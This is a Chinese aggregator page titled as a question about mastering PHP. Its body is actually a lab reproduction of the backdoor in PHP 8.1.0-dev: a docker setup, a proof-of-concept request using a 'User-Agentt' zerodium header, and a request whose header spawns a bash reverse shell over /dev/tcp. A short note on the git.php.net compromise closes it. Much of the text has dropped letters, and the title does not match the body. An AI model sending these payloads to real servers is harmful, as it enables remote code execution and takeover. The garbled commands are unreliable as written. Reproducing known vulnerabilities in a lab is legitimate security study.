当前位置：首页 > 每日看点

怎样深入学习php，成为php高手？

卡卷网2年前 (2025-01-01)每日看点265

简介

PHPverion8.1.0-dev于2021年3月28与后门一起发布，但是后门很快被发现并删除。

#漏洞概述

PHPverion8.1.0-dev的PHP在上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。

#影响版本

PHP8.1.0-dev

#环境搭建

新建docker-compose.yml

version:'2' servs: we: image:vulhu/php:8.1-ackdoor volumes: -./index.php:/var/www/html/index.php ports: -"8080:80"

启动环境

docker-composeup-d

#漏洞复现

#poc验证

在header头增加user-agentt字段，值为：zerodiumvar_dump(2*3);

GET//1.1 Host:192.168.81.223:8800 Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 user-agentt:zerodiumvar_dump(2*3); Connection:close

如果执行了这个表达式，说明存在漏洞

#执行命令反弹shell

GET//1.1 Host:192.168.81.223:8800 Praa:no-cache Cache-Control:no-cache Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate User-Agentt:zerodium("ash-c'execash-i>&/dev/tcp/ip/66660>&1'"); Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 Connection:close

#事件分析与反思

代码中含有”zerodium”字符串，而zerodium是一个专门漏洞的.在此事件中，怀疑黑客攻陷了://git.php.net，以PHP作者的名义做了两次代码提交。

#参考文章

s://log.dn.net/zy15667076526/article/details/116447864

扫描二维码推送至手机访问。

版权声明：本文由卡卷网发布，如需转载请注明出处。

本文链接：https://www.kajuan.net/ttnews/2025/01/6068.html

分享给朋友：

相关文章

中国CEO直播简史

中国CEO直播简史

领导人爱对外发言这事，是中国的一个传统文化。 从乾隆爱往名画上盖章上，就可见一斑。 3Q大战时代，微博成了大佬“吵架”的战场，饭否变成了部分爱面子者的日记。…

如何进行 Elasticsearch 调优实践？

如何进行 Elasticsearch 调优实践？

面试官心理分析这个问题是肯定要问的，说白了，就是看你有没有实际干过 es，因为啥？其实 es 性能并没有你想象中那么好的。很多时候数据量大了，特别是有几亿条数据的时候，可能你会懵逼的发现，跑个搜索怎么一下 5~10s ，坑爹了。第一次搜索的…

为什么网易云音乐越做越烂了？

还记得当年周杰伦专辑授权到期的最后一天，他来个一次性打包买断给歌迷，结果歌迷花钱买完了，第二天授权到期，不能听了。 这种下三滥的操作，我不知道是哪个群体这么多年一直在吹网易云音乐。 一堆没有授权的英文歌，一堆民间翻唱的歌，他是怎么有脸搞付费…

电视家停运了，目前有没有免费的电视直播软件？

电视家停运了，目前有没有免费的电视直播软件？

内部消息已经出现电视家5.0版 电视家是会停运的衍生品 这里有2个不停运的直接品 一、电视盒子 二、电视机本身 一、关于电视盒子的故事：电视家刚停运几天之后，我家首次花210块买了一年的电视会员。 88岁的亲爷爷喜欢，虽然看不懂电视剧情，架…

高德地图靠什么赚钱？

高德地图靠什么赚钱？

10年前，马云不惜花了88亿把高德地图收入囊中，其实他根本就不想买，因为觉得自己根本用不到，考虑到互联网电商离不开地图导航，犹豫再三还是买下了！业内的很多人觉得他就是一个接盘侠，等着看他笑话。 如今，高德日活跃用户数远超1亿，成为大家出行必…

计算机网络的基本原理是什么？

计算机网络的基本原理是什么？

一、计算机网络概述 1.1 计算机网络的分类按照网络的作用范围：广域网（WAN）、城域网（MAN）、局域网（LAN）； 按照网络使用者：公用网络、专用网络。 1.2 计算机网络的层次结构 TCP/IP四层模型与OSI体系结构对比：…

发表评论

访客

看不清，换一张

◎欢迎参与讨论，请在这里发表您的看法和观点。

Copyright © 2019-2024 www.kajuan.net 版权所有

Powered By Z-BlogPHP. Theme by TOYEAN.